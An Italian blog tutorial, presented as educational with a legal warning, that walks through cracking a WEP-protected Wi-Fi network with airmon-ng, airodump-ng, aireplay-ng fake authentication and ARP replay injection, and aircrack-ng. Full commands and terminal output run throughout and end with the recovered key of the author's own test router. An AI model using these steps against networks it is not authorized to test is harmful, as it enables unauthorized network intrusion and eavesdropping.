Craccare una rete wireless [WEP] tramite Aircrack

Tempo di lettura: 9 minuti

Questo articolo è per scopi didattici, farlo su reti in cui non si hanno autorizzazioni è illegale (articolo 615-ter del codice penale italiano).

Se avete letto la pagina sul wireless, vi sarete fatti un’idea di come funziona il WEP e di come è facilmente violabile in quanto vecchio e vulnerabile per definizione stessa. Vedremo dettagliatamente come poter entrare in una rete protetta da WEP , anche se è una protezione ormai usata da pochi modem (e se la usate, vi consiglio di cambiarla subito in WPA2).

Introduzione

Aircrack-ng è un programma utilizzato per craccare le chiavi dell'802.11 WEP e WPA/WPA2-PSK. Può recuperare le chiavi WEP da pacchetti crittografati che sono stati catturati con airodump-ng  (l’esempio che vedremo appunto in questo articolo). Per craccare le chiavi condivise WPA/WPA2 c’è invece bisogno di una lista di parole o si può usare airolib-ng.

Per vedere la pagina di aiuto di Aircrack basta digitare

aircrack-ng --help 
----oppure ancor più dettagliato---
man aircrack-ng

Ha molte opzioni, alcune specifiche per determinati attacchi (WEP,WPA/WPA2-PSK) e altre più generali. Ogni passo che farò cercherò di spiegarlo al meglio, in modo che potrete provare passo passo, e tentare altre strade (non è ovviamente l’unica)

Per prima cosa digito:

ifconfig

per capire quale interfaccia è libera da poter modificare e iniziare il monitoraggio della rete.

root@kali:~# ifconfig 
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 00:[..]:2a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10
        loop  txqueuelen 1  (Local Loopback)
        RX packets 24  bytes 1440 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1440 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 00:[..]:0e  txqueuelen 1000  (Ethernet)
        RX packets 5945  bytes 4767533 (4.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4937  bytes 914927 (893.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Entro in modalità monitor

Scelgo wlan0 e inizio la modalità monitor:

airmon-ng start wlan0

Airmon-ng è uno script in Posix scritto apposta per trasformare la modalità della scheda di rete in monitor mode.

Se il programma da errore (dicendo che è occupata da qualche processo), basta digitare:

airmon-ng check kill

e ripetere il comando di prima. Il risultato, digitando ancora ifconfig, sarà:

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 00:[..]:0E  txqueuelen 1000  (UNSPEC)
        RX packets 927  bytes 107988 (105.4 KiB)
        RX errors 0  dropped 927  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Come vedere wlan0 non esiste più ed è stata sostituita da wlan0mon.

Catturo i pacchetti

Inizio a catturare i dati che passano per la rete designata:

root@kali:~# airodump-ng --ivs --write capture wlan0mon --channel 6
CH  6 ][ Elapsed: 4 mins ][ 2016-03-19 11:12

BSSID       PWR   RXQ  Beacons   #Data,  #/s   CH   MB     ENC  CIPHER AUTH ESSID

E8:[..]:F9  -69   0    2858      59117   169   6   54e.   WEP   WEP        TP-LINK_2.4GHz

BSSID                     STATION            PWR      Rate      Lost    Frames     Probe

(not associated)          48:[..]:10         -85      0 - 1      0        8
E8:[..]:F9                F0:[..]:00         -32      48e-24e    0        68176
E8:[..]:F9                88:[..]:94         -25      36e- 1e    0        624

Airodump è un tool creato appositamente per catturare pacchetti e passarli poi ad Aircrack. Le opzioni che ho inserito sono:

  • - -ivs: salva solo il Vettore d’inizializzazione che è quello che ci interessa in questo caso;
  • - -write fa il Dump del prefisso dei file sniffati;
  • capture: è il nome del file che si andrà a creare con i pacchetti;
  • wlan0mon: interfaccia che si è creata precedentemente;
  • - -channel 6: opzionale, l’ho inserita poiché avevo un errore di canali diversi.

Mi raccomando: per avere la certezza di intercettare la chiave, nella colonna #Data ci devono essere un minimo di 50000 IVS.

Ora cerco di inviare una richiesta di autenticazione al modem

root@kali:~# aireplay-ng -1 0 -e TP-LINK_2.4GHz -a E8:[..]:F9 -h 00:[..]:0e  wlan0mon
11:12:58  Waiting for beacon frame (BSSID: E8:[..]:F9) on channel 6

11:12:58  Sending Authentication Request (Open System) [ACK]
11:12:58  Authentication successful
11:12:58  Sending Association Request [ACK]
11:12:58  Association successful :-) (AID: 1)

Aireplay invia i pacchetti nella rete wireless per generate traffico e cerca di autenticarsi al target, i comandi passati sono:

  • -1: crea un’autenticazione falsa con l’AP con 0 impostato come ritardo;
  • -e: TP-LINK_2.4Ghz è l’SSID dell’obbiettivo (in questo caso si chiama TP-LINK_2.4GHz) lo trovate nella prima colonna del output di airodump;
  • -a E8:[..]:F9: è il mac address dell’access point (il modem);
  • -h 00:[..]:0e: è il mio mac address, lo trovate digitando ifconfig;
  • wlan0mon: interfaccia wireless in monitor mode.

Analizzo i pacchetti

Leggo i pacchetti in cerca di richieste ARP e ACK, inviando pacchetti a mia volta:

root@kali:~# aireplay-ng -3 -b E8:[..]:F9 -h 00:[..]:0e wlan0mon
11:18:37  Waiting for beacon frame (BSSID: E8:94:F6:ED:9E:F9) on channel 6
Saving ARP requests in replay_arp-0319-111837.cap
You should also start airodump-ng to capture replies.
Read 2575198 packets (got 582788 ARP requests and 326799 ACKs), sent 393079 packets...(500 pps)

Ora aireplay deve leggere i pacchetti catturati e inviare altri pacchetti:

  • -3: è una richiesta di risposta ARP standard;
  • -b E8:[..]:F9: è il mac address dell’access point;
  • -h 00:[..]:0e: è il mio mac address;
  • wlan0mon: interfaccia sul quale leggere e mandare pacchetti

Decripto il file “capture”

L’ultima fase serve per decriptare il file che abbiamo ottenuto, e lo facciamo con aircrack

root@kali:~# aircrack-ng -s capture.ivs
Opening capture.ivs
Read 59126 packets.

#  BSSID              ESSID                     Encryption

1  E8:[..]:F9         TP-LINK_2.4GHz            WEP (59125 IVs)


Opening capture.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 59125 ivs.

Aircrack-ng 1.2 rc4


[00:00:07] Tested 457003 keys (got 2898 IVs)

KB    depth   byte(vote)
0   69/ 83   FE(3584) 0E(3328) 11(3328) 2E(3328) 42(3328) 49(3328) 4A(3328) 55(3328) 73(3328) 80(3328) 82(3328)

1   38/  1   F8(4096) 0D(3840) 25(3840) 2B(3840) 39(3840) 45(3840) 47(3840) 7A(3840) DE(3840) EE(3840) 02(3584)

2   15/  2   FA(4352) 0D(4096) 0F(4096) 21(4096) 3E(4096) 46(4096) 4A(4096) 5A(4096) 8B(4096) 98(4096) F3(4096)

3    1/ 13   F0(6400) 97(5120) 1C(4864) 52(4864) 65(4864) C0(4864) DB(4864) EE(4864) 13(4608) 33(4608) C2(4608)

4    8/ 31   D6(4864) 39(4608) 46(4608) 57(4608) B7(4608) CD(4608) 07(4352) 40(4352) 5C(4352) 97(4352) DB(4352)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%

Ed ecco che ha trovato la chiave, e per decrittarla ci ha messo circa 2 minuti (è semplce, con una più complessa ci metterà ovviamente di più).

Conclusione

Il passaggio più lento è quello di intercettazione dei dati, in base a quanti ne riceve il dispositivo sarà più o meno lungo. Fare questo tipo di esercizio è davvero banale, basta che impostate il vostro modem con sicurezza WEP, inserite una password scelta da voi (nel mio caso ho inserito 12345) e connettete un dispositivo qualsiasi. Con un altro computer seguite i passaggi (o Virtual Machine) e provate a capire ogni fase, magari tentando altre vie o metodi e studiando i tool introdotti a fondo (ricordatevi poi di reimpostare la sicurezza WPA/WPA2!).

Il titolo di questo mi sembra molto banale e clickbait, ma non mi è venuto in mente altro. Se avete idee per migliorarlo sarò lieto di farlo.